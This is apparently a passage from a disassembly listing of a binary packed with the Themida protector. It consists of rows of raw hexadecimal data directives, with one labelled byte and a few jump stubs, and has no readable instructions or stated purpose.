		dd 0C412B66Fh, 0B70E3E38h, 428F0711h, 4A922A8Fh, 0C1967C82h
		dd 82AA51F2h, 0FADCE953h, 40926FC1h, 656B337Bh,	51F2C27Fh
		dd 0D23C6B93h, 58AA11C5h, 0C634E33Ah, 3D0AD21Ah, 0AFF32299h
		dd 57E5DB64h, 15690A32h, 0AF902D32h, 5CA44CBAh,	3CB7498Fh
		dd 0D23CB5D7h, 0A7ADDC74h, 843A6AA1h, 0B0F82055h, 341A20E8h
		dd 4855A53Bh, 3AB49A20h, 0A0C855A5h, 32FF0771h,	176F1BA0h
		dd 0B70DEE8h, 0EC44F0CBh, 39060C54h, 0B5B99BCh,	8CE9BE3h
		dd 0B28961B3h, 6BE7F07Ah, 0CFDA0916h, 0D2D6B407h, 733AF41Fh
		dd 11377B89h, 4B910000h, 8E452274h, 0D200DD2Fh,	1BBA97E9h
		dd 686F4C9Eh, 0EECA0355h, 56A815C2h, 0F615879h,	0C719A632h
		dd 7DCFECEAh, 0FDE3E971h, 11580BEEh, 0C412AF16h, 0D13F4BF7h
		dd 0BB18E52Dh, 0C7CDD302h, 57E51588h, 0ECC4163Eh, 0D403B61Fh
		dd 6CB45CCAh, 0F940F766h, 39E50D5Dh, 1A2211F3h,	58FA1C5Eh
		dd 5FE5D2A9h, 0A9AB09C6h, 9A46775Ch, 0BEA71342h, 40F2C57Bh
		dd 4Dh,	784F1757h, 7A925651h, 0FAE066E4h, 0E51F2E2h, 1E668FE6h
		dd 9EA106BFh, 47F7656Fh, 0D48EF9FFh, 749C57E5h,	96795F2Ch
		dd 6B5AA90h, 0FE96BE58h, 0B5B296ACh, 9B3B5806h,	0E7F1CE20h
		dd 4D242CD8h, 0C73A9267h, 28346342h, 1075h, 44A5137Fh
		dd 29812D8Eh, 0B4814991h, 95ED9922h, 0EAC62266h, 8EB657EBh
		dd 5D5C7946h, 242A59B1h, 0EA3C7F57h, 2B924512h,	0EDF8277Fh
		dd 1A26D2E9h, 0E5BC04ACh, 77742E9Dh, 2083723h, 5EB5BFCh
		dd 75BDE55Eh, 0D7DD2EA8h, 5E25EAF1h, 0FD45DD05h, 7860A630h
		dd 0AB03AF47h, 478F6C7Ch, 4EBCC874h, 0F5545AA2h, 0EB641913h
		dd 0E9CDE5C3h, 0A28C3276h, 100094h, 0AB14C800h,	66577C59h
		dd 209B3714h, 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh
		dd 69469821h, 21FE506Fh, 0A8B406B5h, 0F0341A20h, 4D48580Bh
		dd 0E7F7D9E6h, 0F7D51F1h, 5811175Fh, 8057EBEBh,	0EBE61EB3h
		dd 738A36CEh, 6CEAEDFBh, 45740CDAh, 7A5199C1h, 4FCD1FFh
		dd 0D9E4EF01h, 0D8E1F441h, 0D6A3A9h, 0C49169BBh, 6F7AA912h
		dd 9CA85467h, 723A822Eh, 10D2D19Bh, 76C37023h, 0EA2E5D62h
		dd 5DFFE4ABh, 615B3961h, 0C389019h, 0F6F1422h, 83590000h
		dd 0C60DEA3Ch, 0AC8A5F7h, 53825FB1h, 0A0371466h, 2692CB1Dh
		dd 1E704D8Ah, 0D7299041h, 8FE1DEFAh, 459724B2h,	0C5ABB139h
		dd 0D9580BF0h, 0C41277DEh, 983E4BF7h, 0C30EDB23h, 902FA9F6h
		dd 0E8EAF761h, 0B91A27D3h, 82E65804h, 15A62CC0h, 7111257Dh
		dd 0CF2F8C0h, 9E51F1E8h, 0F1E7B298h, 0D89EC651h, 501581B0h
		dd 0AEFEEDEDh, 90Ch, 8D4A17C5h,	116D8430h, 275FD09Eh, 0F6002FC7h
		dd 8A90D888h, 57ECA5D4h, 21983906h, 89B801D4h, 0C895DD05h
		dd 8E65AD0Eh, 7EC43E1Fh, 8F9FCEC6h, 4F9724B2h, 19B8187h
		dd 87AF580Ch, 0C6A8EE58h, 4C580C01h, 22CD73DEh,	26D321Ch
		dd 0CDA16FCh, 6A022A58h, 45848AD2h, 0FB5E0007h,	0F6D1F5D3h
		dd 0C6B0388Fh, 0E98B8h,	13AC3000h, 0CEEFE4C1h, 88339F7Ch
		dd 3D7C5936h, 0F4C90EEBh, 614F69A2h, 18F54776h,	0D1AE00B9h
		dd 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Bh, 0F7C4124Eh
		dd 23983E4Bh, 0F4B5F77h, 0EDEDD194h, 0FDC58DFEh, 0F1F011F7h
		dd 77FD2551h, 51F1EF91h, 0E1C7CDA5h, 0F551F1EFh, 0A00635CDh
		dd 844h, 0E7F7D9B7h, 0F7D51F1h,	494F175Fh, 51F1E863h, 1A204F77h
		dd 6E4D8552h, 0EB05FB3Fh, 113957EBh, 15FB01C9h,	29580BEBh
		dd 87338C4Ch, 6268972Fh, 287A4195h, 84308B4Bh, 27B10A78h
		dd 0FC94EC98h, 186FAEB4h, 0FD255DFFh, 90E5B11Fh, 0ECFAE438h
		dd 0DE5h, 74C6F9E3h, 2F813C97h,	0E93B8052h, 9EF0C90Ch
		dd 55A716C1h, 0C3149C1Ch, 6CBA8FAh, 548461B3h, 9A3C196Bh
		dd 3BC3CF21h, 0BF24F35h, 1686358h, 4BF7C412h, 7723983Eh
		dd 3B9C6E6Ah, 313EEA82h, 136B17A6h, 0F4FA0FC6h,	51F1E80Eh
		dd 0B662FA22h, 0EFAD169Fh, 0B96BA335h, 5CB43555h, 0D4910A48h
		dd 8AFEED6Dh, 6FD6BCC2h, 0C2EA51F2h, 2E5D5C75h,	77BC8h
		dd 0A513DF00h, 90ABB1F9h, 0FE57EBEAh, 15C18ED6h, 0E4EDFAA6h
		dd 0E2F03DD5h, 0A6D52DD9h, 0B803D3A0h, 6E4D8966h, 0EA9A7CC2h
		dd 0B220580Bh, 0AA427959h, 3D18B62h, 94EB0C30h
		dd 1A595F65h, 4E5DFFD0h, 136A5181h, 8AFA4F2Bh, 73F7262Dh
		dd 46D6D4Bh, 523C3890h,	0D1844h, 932CB000h, 4E6F6441h
		dd 8B31FFCh, 0BDFCD9B6h, 74498E6Bh, 0E1CFE922h,	9875C7F6h
		dd 512E8039h, 9E63887h,	909CEECDh, 0F31C0208h, 3530580Bh
		dd 47C412CEh, 0F1E85B41h, 0AF476F51h, 1CE0F603h, 5E433AE2h
		dd 37A1EE29h, 2C44F088h, 4617A18h, 0FAFEECF5h, 6CCh, 0E7F2D911h
		dd 148251F1h, 261E246Ch, 4E57EBEBh, 0BD556471h,	0F6E0AD75h
		dd 4B8B96C5h, 51512870h, 42FE1051h, 0CAA7B7E6h,	0FB03AF0Ch
		dd 5D63A82Eh, 580C8577h, 1FCB638Bh, 208E98C7h, 7A5B2870h
		dd 0C3B933Fh, 0D0D10006h, 3F675DFFh, 902D8361h,	42503A38h
		dd 0C69h, 0F0427D5Fh, 0ABFDC013h, 65B704CEh, 1A6C4D88h
		dd 0D1239A3Dh, 47902098h, 8A472476h, 0D800DD2Fh, 1EB895E7h
		dd 0B73F4B9Dh, 0BF3CBB1h, 7DE4DF58h, 63494F17h,	7751F1E8h
		dd 0C115204Fh, 95414EFAh, 0E78A7076h, 769E51F1h, 5CC032DEh
		dd 983E0B3Eh, 686A7723h, 0B74FA753h, 0AD597D88h, 0A7F99128h
		dd 0EDF1FC69h, 17502FEh, 2DFA0000h, 0FCE312A9h,	308D4A17h
		dd 0F2FD2C84h, 3B2127E4h, 4F51F1E8h, 0D6E38F27h, 0ECD10600h
		dd 0FE50E840h, 0C40CB422h, 0E5392BBEh, 1CBC9957h, 0F6C30BA3h
		dd 13A62BDDh, 48770F67h, 80ED6DEh, 58061922h, 0C0C60E36h
		dd 580618DAh, 5397C6EEh, 58061971h, 2EDADFF6h, 5F0BB221h
		dd 0C72A680Ah, 27BCDE00h, 0F8D9BD3Eh, 3DC0h, 0A513D700h
		dd 21E9B1F9h, 0B73D7E54h, 51F1E7D1h, 21070DE5h,	3551F1E8h
		dd 246750Dh, 57E5033Fh,	492F350Dh, 5D580603h, 0ABF19D35h
		dd 580602C9h, 0FB90B2D4h, 0F8D9D66Ah, 0AC94h, 0C412AB00h
		dd 993E4BF7h, 6B6B7824h, 0AE310850h, 0A9833B66h, 8088F221h
		dd 0ED9924B3h, 7B5B6695h, 0ECD8EE40h, 7551F1BBh, 8A31A561h
		dd 9A3986DEh, 6C438B23h, 0D9FEC31Dh, 0AABAE9D5h, 68B060CEh
		dd 0E6EFC962h, 7D563357h, 9860A840h, 4B00BCBh, 65727DACh
		dd 93431058h, 0CE9F928h, 0DA14F2CBh, 0F73EA80Fh, 0AEFFF0Dh
		dd 3D90000h, 468D6ABCh,	8A482577h, 0D302DF31h, 20B794E6h
		dd 0A6124B9Dh, 9EF0CD0Ah, 57A910C1h, 0F615E7Ah,	0C517A432h
		dd 452B31B9h, 59580BF5h, 0C512F75Eh, 1CEA6F8h, 0E33BE7D6h
		dd 0D92DA9B4h, 0D628C0FFh, 42C4121Dh, 0E8942C91h, 78C0FBDBh
		dd 0E5912CABh, 10BCFDD8h, 2D320B8h, 84B30BB7h, 4969674h
		dd 13ED0000h, 299244A5h, 458D257Dh, 0E5DEB57Dh,	7995BE65h
		dd 40C1A72Dh, 0ADD551F2h, 1B4A7360h, 0E644F8D7h, 1AC6EE57h
		dd 644F2D4h, 0BFDBFD58h, 0D9954124h, 201BDF8h, 0E8B50000h
		dd 1C24D0E9h, 6513016h,	841C4458h, 0E0D96E55h, 8851F1E7h
		dd 74A316BBh, 379FFC6Ah, 0DCA4EC84h, 0F1E7F0D6h, 0ADDC0451h
		dd 0EAA3A1A7h, 0AFD757EBh, 0D13E9A67h, 0BEAE5CBh, 39D1F958h
		dd 743C040Ah, 0BEB886Eh, 0FFBE1558h, 0D7E21139h, 0EBCE07FFh
		dd 0FD4FE73Fh, 5905B620h, 0B70DF4Dh, 5E6DDCE5h,	652D750Dh
		dd 0D17D3E98h, 0D7064A79h, 6D5DFFB9h, 44916745h, 6A543890h
		dd 9D45Ch, 0D7E8F400h, 922BA885h, 4C6F6340h, 1B81DFAh
		dd 0B805D2AFh, 258B2D66h, 0DCB90BB2h, 9572C4F5h, 4D2A7C43h
		dd 0D4E03289h, 0F660464Ch, 7974580Bh, 0B4401712h, 59254D23h
		dd 9E1F050Bh, 0B3351F2h, 9D394473h, 46107F5Fh, 90287088h
		dd 0BCFFD7E4h, 183A9E10h, 77C9F2E4h, 0B906D29Fh, 1A86B50Dh
		dd 0FEEDA24Bh, 11AB3h, 4A17CA00h, 0ECE73489h, 9ECD25D1h
		dd 0CC784393h, 52A417BFh, 10580876h, 0E539770Ah, 11BDE557h
		dd 618E9CBh, 0B0D2F458h, 0D9BC4A1Bh, 3BB4F8h, 13CB0000h
		dd 0E9B1F9A5h, 0D403BC1Ch, 0E502CD90h, 874C1957h, 0B01F3177h
		dd 0A63E69E6h, 1FCBF377h, 61EF7D9h, 642C0258h, 61F785Eh
		dd 35648C58h, 392CA7E3h, 0C5F8D9BBh, 9Ah, 0F7C412DCh, 10C0D8AFh
		dd 0A83518A1h, 0D5020F79h, 0A72F3CE8h, 7B5B6814h, 0DCD8EE40h
		dd 8551F224h, 3C186A51h, 12DA22CEh, 7E2A9145h, 1AB3F726h
		dd 8457E7DAh, 844C145Ch, 9B8987Eh, 0AB12558h, 1840065Eh
		dd 0C4F9DEE9h, 0A8C39A72h, 8E5A3916h, 3B9CA7D6h, 905EA482h
		dd 0B19B3EA7h, 8A0A3h, 0BB42800h, 0C6F7DCB9h, 803B9774h
		dd 3584512Eh, 0ECD106E3h, 5957619Ah, 10ED3F7Eh,	0C9A6F8C1h
		dd 815EB00Fh, 8146655h,	0F7947A80h, 0ADA8580Bh,	0F8C51246h
		dd 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 65F3D123h, 2B000002h
		dd 9844795Eh, 132A1140h, 0ABB1F9A5h, 57EBEA53h,	2167133Bh
		dd 580BEB3Fh, 0FFAB14C4h, 2DD9E6F2h, 951436D8h,	0F5EEACCEh
		dd 0F8D3EE70h, 2178Eh, 0E0D9A500h, 8451F1E7h, 1C226A16h
		dd 57EBEADCh, 67347CA4h, 1DFA4C6Fh, 4E5602B9h, 3C6B5281h
		dd 0D41CC432h, 0FF379FCEh, 74DCB35Dh, 0DD7735D4h, 19F67AA9h
		dd 0FA52FEBDh, 1C6ACB2h, 0B2DA5E20h, 0DCD03C1Ah, 533D3890h
		dd 7DC45h, 0CFF0EC00h, 8A33A07Dh, 44775B38h, 0F9C015F2h
		dd 0B00DCAA7h, 1D93255Eh, 0D4B103BAh, 8D6ABCFDh, 4522744Bh
		dd 0CCD82A91h, 0F8583E44h, 716C580Bh, 0F7C4120Ah, 5D76434Bh
		dd 2D5CB460h, 0BF07B422h, 0ACDBE0F2h, 0EBB8D042h, 1825D1ECh
		dd 206800B9h, 0F1E8341Ah, 0F1204851h, 8D49E39Fh, 0C79EDC2Eh
		dd 97FEEDF1h, 0F3E3C9CFh, 0CFF751F1h, 15A3AA0h,	12510000h
		dd 3E4BF7C4h, 0F9D12398h, 765FA52Ch, 727CAB43h,	0E145C04h
		dd 57E5397Bh, 0B3999F67h, 0C7580618h, 0FEC709Fh, 0B15DF5C8h
		dd 619896Bh, 0F4C90E58h, 209B3B48h, 0FC9E0274h,	1961474Dh
		dd 4D755806h, 8ECCEEB5h, 0D9BC5015h, 44AEF8h, 13C50000h
		dd 0ABB1F9A5h, 57E502E8h, 3A4C5D34h, 258A8B15h,	9E4A72F6h
		dd 6517658h, 21DBFB58h,	0F37A79AFh, 6B17AF8Fh, 9B47745Eh
		dd 47A78D93h, 93BB5806h, 0D8D979DDh, 3853EF11h,	0F8D9922Dh
		dd 0B9D1h, 0C412E800h, 993E4BF7h, 0A57626Fh, 0AC58F0CDh
		dd 0BE01D7A4h, 808BBA12h, 2595A656h, 0B311EF6Eh, 74626F1Bh
		dd 0D3DFF547h, 9C51F251h, 532F813Ah, 0EBF139E5h, 57E82752h
		dd 0C6F9DFBCh, 0F2C90D1Ah, 956EE46h, 0E56EECDh,	0DF279641h
		dd 72B1117h, 173F580Ah,	0DCFBD8E8h, 967AB522h, 73AE2D75h
		dd 1458AF31h, 16F48C49h, 3EA65100h, 66293721h, 62000006h
		dd 16F3457Ah, 0D1AE00BDh, 8B68BA01h, 401D6F4Ah,	9BD42697h
		dd 7944931Dh, 32874A27h, 0EAD503E0h, 0A01BBB98h, 0B4BA424Eh
		dd 580BF9CEh, 1280E7E2h, 0C9A6F8C5h, 12F8FE0Dh,	9F51F1E8h
		dd 0E2BF8538h, 972FC7F4h, 0C4128C45h, 983E4BF7h, 1DF3D123h
		dd 4A000000h, 4638C412h, 2C2A1F06h, 697622BAh, 2CA24E6Dh
		dd 64728AC8h, 1B270557h, 7E000000h, 45674017h, 0C647FE00h
		dd 714A8C97h, 829C7FC5h, 62A51F2h, 9526B044h, 0C4128A43h
		dd 0D13F4BF7h, 501DE52Dh, 7C893586h, 5CB46059h,	0F55195C4h
		dd 6357EBEAh, 0EBAF959Bh, 3B41580Bh, 580BEC55h,	537B4169h
		dd 3078A024h, 487363h, 0EE1DA033h, 0E6D501DEh, 0BB02D19Eh
		dd 1E88B70Fh, 0B4FCA412h, 89E1B8DDh, 2C79E05Fh,	0DFE514A5h
		dd 6AA38D9h, 529AC25Eh,	0A1B0B38Ah, 7925983Bh, 5CDCCA21h
		dd 13A62F7Ch, 0D5E00F67h, 9068BA01h, 7BAA15C3h,	33A06670h
		dd 0E2AAF28Ah, 26A3F6DCh, 0B3E20A5Eh, 1FCF3D49h, 0CC72D1D7h
		dd 40686419h, 7631BE62h, 7F8D7732h, 53Dh, 1C6E518Bh
		dd 0D729943Fh, 91E3D8FAh, 469821B4h, 0FD4F6E69h, 1BBCF4C4h
		dd 5E7350A2h, 0AC2C095Bh, 0F2E4C113h, 0E36B77C9h, 0BFAF7DDh
		dd 0A9100B58h, 0A5F7C412h, 373D05CDh, 51F1E851h, 0D1B73D65h
		dd 0E551F1E7h, 53838EBDh, 27AFBC68h, 1B8B46D5h,	266EF94Eh
		dd 0F2703A20h, 8E264E51h, 4E0C70E2h, 499B20B6h,	6CEE9A71h
		dd 0CC746C4Bh, 0BB67527Fh, 9DC83463h, 0C1FEED7Dh, 0AA28DEF4h
		dd 0E44A7911h, 74h, 0F9A513FBh,	0BB1CE9B1h, 9E1DB502h
		dd 54C02B6Fh, 0A6CE57E5h, 7847915Eh, 7C626830h,	90580636h
		dd 51293968h, 0C16D4E84h, 2BB1C69h, 8BCFFE56h, 580635A7h
		dd 9D56A630h, 467760D6h, 0ADEB429Ah, 7CF44BA9h,	0E0C56DE1h
		dd 14F143DBh, 0EBB3FBC4h, 5905BA1Eh, 67957B01h,	0D1A95806h
		dd 667E5CBh, 39D1F958h,	6805EBF1h, 0F1195806h, 464A58C2h
		dd 0A1000004h, 9542C412h, 0BF576273h, 3064BB13h, 0A0A411B8h
		dd 0F300AC44h, 761819E3h, 3CFCE2E8h, 0E81051F2h, 0D7850A91h
		dd 0C57B6DBAh, 0B34BE39Bh, 84399E6Bh, 415180D8h, 4492F765h
		dd 2673CB77h, 307810ADh, 0E5B4972Ah, 0AF280557h, 720A620Eh
		dd 939E80C6h, 0B5235806h, 85515E0Ah, 7C828A36h,	58069396h
		dd 82C82AAh, 7EA0674Ah,	419EC7DCh, 3F60F8D9h, 58000000h
		dd 0B6E02B81h, 8EBDA465h, 49A513A7h, 0F1E85D43h, 0B1497151h
		dd 3A06369h, 15EC57E5h,	0FE36ABFBh, 7F0332C5h, 0E08C31A2h
		dd 0FE44F088h, 5806821Ch, 4E450527h, 0F8D95817h, 0E9E7h
		dd 0C412FE00h, 907DD738h, 4AE2A8C2h, 7746919Eh,	0E2F6C3CBh
		dd 740CAD28h, 1F9C3A45h, 4B706673h, 6507E3F9h, 0AD7551F2h
		dd 0F264C1A7h, 7EADD551h, 6586373h, 0C14FAD29h,	0AC91A0F1h
		dd 7A519931h, 17E33806h, 0C5DCF632h, 483B7DD4h,	0A98DC8C6h
		dd 0C65E3842h, 0B3212D97h, 76438E5Bh, 0F2BF0AF0h, 5EF61E51h
		dd 106D1016h, 0D3FB57E6h, 8737A581h, 0BAA0773Fh, 698B8B56h
		dd 33B6FA29h, 815DFC47h, 93441159h, 0DCFBD82Ah,	735EAC2Ch
		dd 0AA429A46h, 0AF47765Dh, 92B859D1h, 0F806F038h, 2F5h
		dd 64B609D3h, 1F714C87h, 0D92B9042h, 8EE0D9FCh,	459726B1h
		dd 0D304AC0Ch, 16BB98EAh, 647451A3h, 0AA2C095Bh, 2BB3BF11h
		dd 0BFD3F25h, 0F1585358h, 0B0F8C512h, 0ACD411E8h, 8C7C1415h
		dd 0F2AB2006h, 0DD0C3451h, 0D5E6F0CDh, 0A513CA83h, 0F3DAB1F9h
		dd 0C4B5B02Fh, 0B2B8BEEDh, 57E51EEFh, 0A3E995BDh, 58061EC1h
		dd 0F3E8AACCh, 0F8D9BA72h, 0E78Ch, 0C412A300h, 0F3E2AFF7h
		dd 63FBC211h, 1ABDCA34h, 18EFF7A3h, 803F9EE6h, 0D2D82098h
		dd 51F22EECh, 65A9D800h, 51F23489h, 43292FF7h, 5751F234h
		dd 0E1F5002Fh, 5BB92DAh, 7EDF354h, 1B51F1FBh, 2FA49CF3h
		dd 28051544h, 59610DAEh, 4574458Ch, 0D921CD3Bh,	0E5F030D3h
		dd 4496BE57h, 85389F6Ch, 485281D9h, 9A8086DAh, 0AE5806CFh
		dd 0A0A6EE86h, 5DFBA37Ch, 0CF9CE40Ch, 8663B508h, 0E6EFBC51h
		dd 84674DD3h, 537B5E1Dh, 5A57DDBBh, 1C063893h, 1F00Eh
		dd 0BB04D800h, 76478C69h, 308B4724h, 0E5D401DEh, 9C21B693h
		dd 9A7114Ah, 0C09DEFCEh, 7956A811h, 310E605Fh, 0B8C416A5h
		dd 0FE442A30h, 5D58580Bh, 48C512F6h, 0F1E85C42h, 487051h
		dd 0F1E814FAh, 68002851h, 70763E16h, 51F1E78Ah,	3C47769Eh
		dd 16CF219Ah, 34894A17h, 22CEF1E7h, 46909BCAh, 77602D75h
		dd 0A0AD1746h, 56338536h, 838F3B80h, 1B216915h,	57E50830h
		dd 156A163Eh, 0BF1F7BFh, 1F580608h, 0D476C8F7h,	0B305B620h
		dd 0F6C30EDBh, 0B9C3F24Ah, 935BA34Bh, 0DDF90BC6h, 42DA32DEh
		dd 0DD3E7F96h, 27B089C7h, 0F91C608Fh, 55DF964h,	4551373Dh
		dd 3D655E1Ah, 4509EFF5h, 0F51D5E1Ah, 6E1A42C6h,	0FE467561h
		dd 454A3036h, 365E5E1Ah, 0C3279D07h, 0A0006E87h, 36BCFFD3h
		dd 5E1A4550h, 1C7F6DDh,	0A58B91D9h, 0B95E1A44h,	0ABB1F991h
		dd 640D9188h, 0BF9CEE16h, 0EBF8A417h, 0BD8AD2EDh, 8EEF41Bh
		dd 1C642E72h, 0C32D5CF4h, 0F19D22B6h, 1DC9F2E4h, 42A7E307h
		dd 0B54F0BADh, 6C489A21h, 0B69CA2FEh, 0CA642E71h, 39D1E8EDh
		dd 685359A1h, 766A2192h, 0A2D1498Fh, 0D6308734h, 0AB64E54h
		dd 8E862B02h, 7C769367h, 9AC9615Ah, 0C874478Fh,	7CB1D173h
		dd 141A620Eh, 70351929h, 0DE5D5037h, 3A496606h,	8C925AA2h
		dd 70567FA6h, 536392BAh, 9623AE7Bh, 80EF5D67h, 7A594488h
		dd 165EF647h, 508C6310h, 21CDF576h, 0A7F9C214h,	0DCFA0CCAh
		dd 559B47DFh, 8E249B78h, 3C95627Ah, 4A79D17Dh, 34A25AF8h
		dd 7E583587h, 5184913Dh, 95492068h, 78997471h, 0D5BBC109h
		dd 0E9AE446Fh, 0D32892C1h, 0FBDB1131h, 0A5A178C0h, 77448E16h
		dd 0DF1C73CBh, 0A0B0DF15h, 0E2DDFBC8h, 0A4AFDE36h, 0CFDD8932h
		dd 0Dh,	965EE426h, 0F1E7AA90h, 6796BE51h, 0F5CA1280h, 219A3C49h
		dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch
		dd 33884A57h, 64597A87h, 545333B8h, 4C3815Bh, 83000000h
		dd 1C8704EBh, 72685C24h, 89000030h, 0ED682404h,	89000067h
		dd 1AB8242Ch, 2D4E743Bh, 77AD6F96h, 5A34902Dh, 51D8F706h
		dd 0B05030B9h, 7E18137h, 0C10A353Fh, 0F18104E9h, 74CA151Bh
		dd 4B9AE981h, 0C18157E4h, 46AB636h, 3559C831h, 2C223986h
		dd 0C42A0F2Dh, 2C8B541Ch, 4C48324h, 8BA52h, 0EA010000h
		dd 5A028F50h, 51242C8Bh, 0C181E189h, 4,	8704C183h, 0FF5C240Ch
		dd 81582434h, 4C4h, 64B1E900h, 0B805FFFAh, 61A18DBh, 0E0FFC503h
		dd 672C4719h, 3A1F4CA8h, 75660534h, 36420B5Eh, 43B539AAh
		dd 2A2348BFh, 4E898492h, 607EF05Fh, 6CE16E0h, 7DEB4891h
		dd 533F6E22h, 5562237Ch, 59ABB19Ch, 782B67EAh, 7B6EAB1Ch
		dd 6796E4E9h, 3E4FB4E0h, 272F62BBh, 6F0A58D2h, 1C7C85EAh
		dd 71F145F2h, 1EC9F837h, 6345EF91h, 4E30034Fh, 7BAD894Fh
		dd 760C5B9Dh, 231F7383h, 44ADC527h, 0CE8h, 2787EF00h, 0EE0C6812h
		dd 56FCBB8Ah, 79ACB9EDh, 665B5A88h, 2B22C181h, 5D3EC381h
		dd 0CE90000h, 0A0000000h, 0C2EC8531h, 5E89394Bh, 68C37765h
		dd 1722h, 605F5851h, 5A585050h,	0CE8h, 403A6C00h, 957F52E4h
		dd 0F83CB7E0h, 0FF615B9Eh, 66C28133h, 5E010AC4h, 14E952h
		dd 0C45C0000h, 47FF1DAAh, 567EF4AEh, 0A55A762Fh, 0D05BC954h
		dd 81586A67h, 31258C6h,	81E38A14h, 0D71859C6h, 1CF68134h
		dd 0E9666FB8h, 0Bh, 0E54E7318h,	0A14268E8h, 8942106Ah
		dd 0C9816633h, 0EB83AD33h, 6820F04h, 81000000h,	690EBFE0h
		dd 1EF830Eh, 0FF99850Fh
		db 2 dup(0FFh),	0B8h
byte_5AA683	db 22h			; DATA XREF: Themida_:0054A1D0o
		dd 0E9731D73h, 0A6h, 2DDE3979h,	0BAF5CC47h, 66D138F3h
		dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h
		dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h,	729EBD8Ch
		dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h,	94A19E96h
		dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh
		dd 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h, 0B1B6D000h
		dd 527155C3h, 0DA43700h, 910D3C2h, 0Eh,	9 dup(0)
		dd 6BE90000h, 6800000Fh, 61A1D10h, 0FA62BEE9h, 1E2368FFh
		dd 0B4E9061Ah, 68FFFA62h, 61A1EDEh, 0FA62AAE9h,	201168FFh
		dd 0A0E9061Ah, 68FFFA62h, 61A20A6h, 0FA6296E9h,	216568FFh
		dd 8CE9061Ah, 68FFFA62h, 61A2207h, 0FA6282E9h, 22A168FFh
		dd 78E9061Ah, 68FFFA62h, 61A2330h, 0FA626EE9h, 23F268FFh
		dd 64E9061Ah, 68FFFA62h, 61A24B0h, 0FA625AE9h, 260F68FFh
		dd 50E9061Ah, 68FFFA62h, 61A2845h, 0FA6246E9h, 296D68FFh
		dd 3CE9061Ah, 0F6FFFA62h, 0AA87D9E6h, 65429429h, 1FFC4E6Dh
		dd 0D4B103B6h, 2F68BA03h, 0DB02789h, 0C6F3DEBBh, 7E419774h
		dd 34874F2Ch, 484ED6E2h, 580C0362h, 28F57B76h, 0F9E00FB0h
		dd 0AFF7C412h, 5CBD9BD8h, 154497A4h, 83389EABh,	8B915931h
		dd 51F235A5h, 586291B9h, 36FE46EAh, 0CA506F69h,	51F235E4h
		dd 9BA1D0F8h, 0E5870295h, 9C487057h, 6667456h, 0E1A97F58h
		dd 665F5DBh, 99E10958h,	665AD93h, 6A99C158h, 4617A18h
		dd 0FAF8D970h, 46h, 0F9A51311h,	0C9F2E4B1h, 0CB8E949Ah
		dd 9957E502h, 0F0BDC571h, 0D52DD9E2h, 38062A6h,	698B5806h
		dd 66411829h, 1C6003B4h, 4F587181h, 297E89F8h, 44D78EFAh
		dd 0BA27F8D9h, 1F000000h, 0A16B5157h, 577F5806h, 0C4124128h
		dd 993E4BF7h, 6B6B7824h, 3F97A450h, 6B67347Ch, 0FB112150h
		dd 51F1ED1Eh, 1C6E4D89h, 0C265973Fh, 6F959FEEh,	0DBE7932Bh
		dd 7379C16Dh, 57E54438h, 946CBEE6h, 7FAE11C7h, 0F570775h
		dd 0FB1BDD09h, 0FD456D5Dh, 0C416A730h, 0EFCDF0E7h, 3893FA79h
		dd 454624Ch, 2200000Dh,	0D6B305BAh, 916EC0FDh, 4B287A41h
		dd 0DD2F8Ah, 5B94E6D7h,	3984535Dh, 0F2C70AE7h, 0AA15C3A0h
		dd 605B7B58h, 747A020Eh, 580C048Eh, 1240A7A2h, 0E3B0F8C5h
		dd 8E9ECDF0h, 8D1DFB6h,	0F39F1CBAh, 0CDF7449Bh,	0B91D2857h
		dd 0ECF2BA02h, 51F28A06h, 0B3C3F21Ah, 8D4A17FAh, 0B864577Bh
		dd 0C41CC860h, 711D8B95h, 3602329h, 62E57E5h, 0AF0F6BEh
		dd 1E580603h, 175DC7F6h, 58060335h, 677C1E40h, 0F8D9D6FEh
		dd 0D700h, 4F171700h, 0F1E86349h, 0AAA4E651h, 8CED347Dh
		dd 646F9EC6h, 909D4972h, 84CA7647h, 51F226A7h, 0A5F7C412h
		dd 1AD0EC8h, 8FD787F5h,	0E5404E89h, 82D4FC57h, 36C938A6h
		dd 73FAD3DFh, 0E84EEABh, 293E8BB7h, 0C1F5DBE1h,	0E1095806h
		dd 62390149h, 0B5771DAAh, 78BCEBDCh, 5DFB5F5Dh,	935BA3CBh
		dd 76DBF5BCh, 0B775987Ch, 0AC92E9CFh, 20D3C05h,	0B996E8D5h
		dd 3E9EF1Eh, 175E1DCDh,	0F97957EFh, 0E0389328h,	0BF1E8F6h
		dd 0A7350000h, 0EAE9C618h, 2EA481D3h, 775E3B8Dh, 0C413F042h
		dd 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh, 6BBD02D6h, 2173488Eh
		dd 0A1878D15h, 0B5580C05h, 0C51253BAh, 1CEA6F8h, 0B1BCEBD2h
		dd 0FAE0E625h, 0E51F1E7h, 0E84A3036h, 365E51F1h, 0FBB4069Eh
		dd 0AE38C412h, 388751A5h, 2AE841E1h, 0C6410ADh,	2330DC74h
		dd 0D9B608B3h, 916C2F9h, 7E9CEECDh, 660A7827h, 49CD181Eh
		dd 739B57E5h, 9B9B7ED2h, 0B523AF8Fh, 84BBC109h,	3A55839Dh
		dd 0EC5A6612h, 0C1C7428Fh, 55A49DDBh, 832FC7EFh, 454B932Bh
		dd 5B991F78h, 57666D4Ah, 2CAA77BFh, 76603D8Fh, 0D7156745h
		dd 0EED83AF4h, 0B36E0h,	0D3ECF000h, 8E2FA481h, 48735F3Ch
		dd 0FDBC19F6h, 0B409CEABh, 218F2962h, 0D8B507B6h, 916EC0F9h
		dd 49267847h, 0D0DC2E8Dh, 65C4248h, 7570580Ch, 42C4120Eh
		dd 727F2B90h, 26BE5663h, 50006E7Ah, 15C30208h, 9C7957E5h
		dd 0A6EE8637h, 0F5F2D8DEh, 2E065805h, 5F64228h,	962E5658h
